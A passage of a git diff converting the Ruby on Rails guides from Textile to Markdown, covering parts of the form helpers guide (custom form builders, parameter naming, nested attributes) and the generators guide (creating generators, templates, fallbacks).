cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. -h3. Customizing Form Builders +Customizing Form Builders +------------------------- -As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example +As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example -<erb> +```erb <%= form_for @person do |f| %> <%= text_field_with_label f, :first_name %> <% end %> -</erb> +``` can be replaced with -<erb> +```erb <%= form_for @person, :builder => LabellingFormBuilder do |f| %> <%= f.text_field :first_name %> <% end %> -</erb> +``` by defining a LabellingFormBuilder class similar to the following: -<ruby> +```ruby class LabellingFormBuilder < ActionView::Helpers::FormBuilder def text_field(attribute, options={}) label(attribute) + super end end -</ruby> +``` -If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option. +If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option. The form builder used also determines what happens when you do -<erb> +```erb <%= render :partial => f %> -</erb> +``` -If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead. +If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead. -h3. Understanding Parameter Naming Conventions +Understanding Parameter Naming Conventions +------------------------------------------ -As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+ -action for a Person model, +params[:person]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on. +As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` +action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example, -<ruby> +```ruby Rack::Utils.parse_query "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} -</ruby> +``` -h4. Basic Structures +### Basic Structures -The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains +The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains -<html> +```html <input id="person_name" name="person[name]" type="text" value="Henry"/> -</html> +``` -the +params+ hash will contain +the `params` hash will contain -<erb> +```erb {'person' => {'name' => 'Henry'}} -</erb> +``` -and +params[:person][:name]+ will retrieve the submitted value in the controller. +and `params[:person][:name]` will retrieve the submitted value in the controller. Hashes can be nested as many levels as required, for example -<html> +```html <input id="person_address_city" name="person[address][city]" type="text" value="New York"/> -</html> +``` -will result in the +params+ hash being +will result in the `params` hash being -<ruby> +```ruby {'person' => {'address' => {'city' => 'New York'}}} -</ruby> +``` Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form: -<html> +```html <input name="person[phone_number][]" type="text"/> <input name="person[phone_number][]" type="text"/> <input name="person[phone_number][]" type="text"/> -</html> +``` -This would result in +params[:person][:phone_number]+ being an array. +This would result in `params[:person][:phone_number]` being an array. -h4. Combining Them +### Combining Them We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment -<html> +```html <input name="addresses[][line1]" type="text"/> <input name="addresses[][line2]" type="text"/> <input name="addresses[][city]" type="text"/> -</html> +``` -This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. +This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter. -WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays. +WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays. -h4. Using Form Helpers +### Using Form Helpers -The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take. +The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take. You might want to render a form with a set of edit fields for each of a person's addresses. For example: -<erb> +```erb <%= form_for @person do |person_form| %> <%= person_form.text_field :name %> <% @person.addresses.each do |address| %> @@ -734,95 +742,97 @@ You might want to render a form with a set of edit fields for each of a person's <% end %> <% end %> <% end %> -</erb> +``` Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this: -<html> +```html <form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post"> <input id="person_name" name="person[name]" type="text" /> <input id="person_address_23_city" name="person[address][23][city]" type="text" /> <input id="person_address_45_city" name="person[address][45][city]" type="text" /> </form> -</html> +``` -This will result in a +params+ hash that looks like +This will result in a `params` hash that looks like -<ruby> +```ruby {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} -</ruby> +``` -Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling Rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created). +Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created). -To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example +To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example -<erb> +```erb <%= fields_for 'person[address][primary]', address, :index => address do |address_form| %> <%= address_form.text_field :city %> <% end %> -</erb> +``` will create inputs like -<html> +```html <input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" /> -</html> +``` -As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. +As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. -As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifying +:index => address+ so +As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `:index => address` so -<erb> +```erb <%= fields_for 'person[address][primary][]', address do |address_form| %> <%= address_form.text_field :city %> <% end %> -</erb> +``` produces exactly the same output as the previous example. -h3. Forms to external resources +Forms to external resources +--------------------------- -If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options: +If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `:authenticity_token => 'your_external_token'` parameter to the `form_tag` options: -<erb> +```erb <%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %> Form contents <% end %> -</erb> +``` -Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option: +Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option: -<erb> +```erb <%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %> Form contents <% end %> -</erb> +``` -The same technique is available for the +form_for+ too: +The same technique is available for the `form_for` too: -<erb> -<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f| +```erb +<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f| %> Form contents <% end %> -</erb> +``` -Or if you don't want to render an +authenticity_token+ field: +Or if you don't want to render an `authenticity_token` field: -<erb> -<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f| +```erb +<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f| %> Form contents <% end %> -</erb> +``` -h3. Building Complex Forms +Building Complex Forms +---------------------- -Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. +Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. -h4. Configuring the Model +### Configuring the Model -Active Record provides model level support via the +accepts_nested_attributes_for+ method: +Active Record provides model level support via the `accepts_nested_attributes_for` method: -<ruby> +```ruby class Person < ActiveRecord::Base has_many :addresses accepts_nested_attributes_for :addresses @@ -834,15 +844,15 @@ class Address < ActiveRecord::Base belongs_to :person attr_accessible :kind, :street end -</ruby> +``` -This creates an +addresses_attributes=+ method on +Person+ that allows you to create, update and (optionally) destroy addresses. When using +attr_accessible+ or +attr_protected+ you must mark +addresses_attributes+ as accessible as well as the other attributes of +Person+ and +Address+ that should be mass assigned. +This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. When using `attr_accessible` or `attr_protected` you must mark `addresses_attributes` as accessible as well as the other attributes of `Person` and `Address` that should be mass assigned. -h4. Building the Form +### Building the Form -The following form allows a user to create a +Person+ and its associated addresses. +The following form allows a user to create a `Person` and its associated addresses. -<erb> +```html+erb <%= form_for @person do |f| %> Addresses: <ul> @@ -858,21 +868,21 @@ The following form allows a user to create a +Person+ and its associated address <% end %> </ul> <% end %> -</erb> +``` -When an association accepts nested attributes +fields_for+ renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. -<ruby> +```ruby def new @person = Person.new 3.times { @person.addresses.build} end -</ruby> +``` -+fields_for+ yields a form builder that names parameters in the format expected the accessor generated by +accepts_nested_attributes_for+. For example when creating a user with 2 addresses, the submitted parameters would look like +`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like -<ruby> +```ruby { :person => { :name => 'John Doe', @@ -888,30 +898,30 @@ end } } } -</ruby> +``` -The keys of the +:addresses_attributes+ hash are unimportant, they need merely be different for each address. +The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. -If the associated object is already saved, +fields_for+ autogenerates a hidden input with the +id+ of the saved record. You can disable this by passing +:include_id => false+ to +fields_for+. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `:include_id => false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. -h4. The Controller +### The Controller You do not need to write any specific controller code to use nested attributes. Create and update records as you would with a simple form. -h4. Removing Objects +### Removing Objects -You can allow users to delete associated objects by passing +allow_destroy => true+ to +accepts_nested_attributes_for+ +You can allow users to delete associated objects by passing `allow_destroy => true` to `accepts_nested_attributes_for` -<ruby> +```ruby class Person < ActiveRecord::Base has_many :addresses accepts_nested_attributes_for :addresses, :allow_destroy => true end -</ruby> +``` -If the hash of attributes for an object contains the key +_destroy+ with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: +If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: -<erb> +```erb <%= form_for @person do |f| %> Addresses: <ul> @@ -925,21 +935,21 @@ If the hash of attributes for an object contains the key +_destroy+ with a value <% end %> </ul> <% end %> -</erb> +``` -h4. Preventing Empty Records +### Preventing Empty Records -It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a +:reject_if+ proc to +accepts_nested_attributes_for+. This proc will be called with each hash of attributes submitted by the form. If the proc returns +false+ then Active Record will not build an associated object for that hash. The example below only tries to build an address if the +kind+ attribute is set. +It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set. -<ruby> +```ruby class Person < ActiveRecord::Base has_many :addresses accepts_nested_attributes_for :addresses, :reject_if => lambda {|attributes| attributes['kind'].blank?} end -</ruby> +``` -As a convenience you can instead pass the symbol +:all_blank+ which will create a proc that will reject records where all the attributes are blank excluding any value for +_destroy+. +As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`. -h4. Adding Fields on the Fly +### Adding Fields on the Fly Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice. diff --git a/guides/source/generators.textile b/guides/source/generators.md index 2e9ab0526d..0bcfa1dc68 100644 --- a/guides/source/generators.textile +++ b/guides/source/generators.md @@ -1,4 +1,5 @@ -h2. Creating and Customizing Rails Generators & Templates +Creating and Customizing Rails Generators & Templates +===================================================== Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones. @@ -12,110 +13,113 @@ In this guide you will: * Learn how to use fallbacks to avoid overwriting a huge set of generators * Learn how to create an application template -endprologue. +-------------------------------------------------------------------------------- NOTE: This guide is about generators in Rails 3, previous versions are not covered. -h3. First Contact +First Contact +------------- -When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+: +When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`: -<shell> +```bash $ rails new myapp $ cd myapp $ rails generate -</shell> +``` You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do: -<shell> +```bash $ rails generate helper --help -</shell> +``` -h3. Creating Your First Generator +Creating Your First Generator +----------------------------- -Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+. +Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. -The first step is to create a file at +lib/generators/initializer_generator.rb+ with the following content: +The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content: -<ruby> +```ruby class InitializerGenerator < Rails::Generators::Base def create_initializer_file create_file "config/initializers/initializer.rb", "# Add initialization content here" end end -</ruby> +``` -NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html +NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) -Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. +Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. To invoke our new generator, we just need to do: -<shell> +```bash $ rails generate initializer -</shell> +``` Before we go on, let's see our brand new generator description: -<shell> +```bash $ rails generate initializer --help -</shell> +``` -Rails is usually able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator: +Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator: -<ruby> +```ruby class InitializerGenerator < Rails::Generators::Base desc "This generator creates an initializer file at config/initializers" def create_initializer_file create_file "config/initializers/initializer.rb", "# Add initialization content here" end end -</ruby> +``` -Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step. +Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step. -h3. Creating Generators with Generators +Creating Generators with Generators +----------------------------------- Generators themselves have a generator: -<shell> +```bash $ rails generate generator initializer create lib/generators/initializer create lib/generators/initializer/initializer_generator.rb create lib/generators/initializer/USAGE create lib/generators/initializer/templates -</shell> +``` This is the generator just created: -<ruby> +```ruby class InitializerGenerator < Rails::Generators::NamedBase source_root File.expand_path("../templates", __FILE__) end -</ruby> +``` -First, notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable +name+. +First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`. We can see that by invoking the description of this new generator (don't forget to delete the old generator file): -<shell> +```bash $ rails generate initializer --help Usage: rails generate initializer NAME [options] -</shell> +``` -We can also see that our new generator has a class method called +source_root+. This method points to where our generator templates will be placed, if any, and by default it points to the created directory +lib/generators/initializer/templates+. +We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`. -In order to understand what a generator template means, let's create the file +lib/generators/initializer/templates/initializer.rb+ with the following content: +In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content: -<ruby> +```ruby # Add initialization content here -</ruby> +``` And now let's change the generator to copy this template when invoked: -<ruby> +```ruby class InitializerGenerator < Rails::Generators::NamedBase source_root File.expand_path("../templates", __FILE__) @@ -123,48 +127,50 @@ class InitializerGenerator < Rails::Generators::NamedBase copy_file "initializer.rb", "config/initializers/#{file_name}.rb" end end -</ruby> +``` And let's execute our generator: -<shell> +```bash $ rails generate initializer core_extensions -</shell> +``` -We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+. +We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`. -The methods that are available for generators are covered in the "final section":#generator-methods of this guide. +The methods that are available for generators are covered in the [final section](#generator-methods) of this guide. -h3. Generators Lookup +Generators Lookup +----------------- -When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found: +When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found: -<shell> +```bash rails/generators/initializer/initializer_generator.rb generators/initializer/initializer_generator.rb rails/generators/initializer_generator.rb generators/initializer_generator.rb -</shell> +``` If none is found you get an error message. -INFO: The examples above put files under the application's +lib+ because said directory belongs to +$LOAD_PATH+. +INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`. -h3. Customizing Your Workflow +Customizing Your Workflow +------------------------- -Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults: +Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults: -<ruby> +```ruby config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, :fixture => true end -</ruby> +``` Before we customize our workflow, let's first see what our scaffold looks like: -<shell> +```bash $ rails generate scaffold User name:string invoke active_record create db/migrate/20091120125558_create_users.rb @@ -190,32 +196,32 @@ $ rails generate scaffold User name:string create test/unit/helpers/users_helper_test.rb invoke stylesheets create app/assets/stylesheets/scaffold.css -</shell> +``` Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: -<ruby> +```ruby config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, :fixture => false g.stylesheets false end -</ruby> +``` If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: -<shell> +```bash $ rails generate generator rails/my_helper -</shell> +``` -After that, we can delete both the +templates+ directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following: +After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following: -<ruby> +```ruby class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -225,25 +231,25 @@ end FILE end end -</ruby> +``` We can try out our new generator by creating a helper for users: -<shell> +```bash $ rails generate my_helper products -</shell> +``` -And it will generate the following helper file in +app/helpers+: +And it will generate the following helper file in `app/helpers`: -<ruby> +```ruby module ProductsHelper attr_reader :products, :product end -</ruby> +``` -Which is what we expected. We can now tell scaffold to use our new helper generator by editing +config/application.rb+ once again: +Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again: -<ruby> +```ruby config.generators do |g| g.orm :active_record g.template_engine :erb @@ -251,16 +257,16 @@ config.generators do |g| g.stylesheets false g.helper :my_helper end -</ruby> +``` and see it in action when invoking the generator: -<shell> +```bash $ rails generate scaffold Post body:text [...] invoke my_helper create app/helpers/posts_helper.rb -</shell> +``` We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators. @@ -268,7 +274,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe To do that, we can change the generator this way: -<ruby> +```ruby class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -280,49 +286,51 @@ end hook_for :test_framework end -</ruby> +``` -Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both +Rails::TestUnitGenerator+ and +TestUnit::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails generator. To do that, we just need to add: +Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add: -<ruby> +```ruby # Search for :helper instead of :my_helper hook_for :test_framework, :as => :helper -</ruby> +``` And now you can re-run scaffold for another resource and see it generating tests as well! -h3. Customizing Your Workflow by Changing Generators Templates +Customizing Your Workflow by Changing Generators Templates +---------------------------------------------------------- -In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case +Rails::Generators::HelperGenerator+. +In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`. -In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is +lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simply making a template copy inside +lib/templates/rails/helper+ with the name +helper.rb+. So let's create that file with the following content: +In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content: -<erb> +```erb module <%= class_name %>Helper attr_reader :<%= plural_name %>, <%= plural_name.singularize %> end -</erb> +``` -and revert the last change in +config/application.rb+: +and revert the last change in `config/application.rb`: -<ruby> +```ruby config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, :fixture => false g.stylesheets false end -</ruby> +``` -If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+. +If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`. -h3. Adding Generators Fallbacks +Adding Generators Fallbacks +--------------------------- -One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a +TestUnit+ generator if none was found under the +Shoulda+ namespace. +One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace. -We can easily simulate this behavior by changing our +config/application.rb+ once again: +We can easily simulate this behavior by changing our `config/application.rb` once again: -<ruby> +```ruby config.generators do |g| g.orm :active_record g.template_engine :erb @@ -332,11 +340,11 @@ config.generators do |g| # Add a fallback! g.fallbacks[:shoulda] = :test_unit end -</ruby> +``` Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators: -<shell> +```bash $ rails generate scaffold Comment body:text invoke active_record create db/migrate/20091120151323_create_comments.rb @@ -361,15 +369,16 @@ $ rails generate scaffold Comment body:text create app/helpers/comments_helper.rb invoke shoulda create test/unit/helpers/comments_helper_test.rb -</shell> +``` Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication. -h3. Application Templates +Application Templates +--------------------- Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". -<ruby> +```ruby gem("rspec-rails", :group => "test") gem("cucumber-rails", :group => "test") @@ -380,180 +389,181 @@ if yes?("Would you like to install Devise?") model_name = "user" if model_name.blank? generate("devise", model_name) end -</ruby> +``` -In the above template we specify that the application relies on the +rspec-rails+ and +cucumber-rails+ gem so these two will be added to the +test+ group in the +Gemfile+. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the +Gemfile+ outside of any group and then runs the +devise:install+ generator. This template then takes the users input and runs the +devise+ generator, with the user's answer from the last question being passed to this generator. +In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator. -Imagine that this template was in a file called +template.rb+. We can use it to modify the outcome of the +rails new+ command by using the +-m+ option and passing in the filename: +Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the 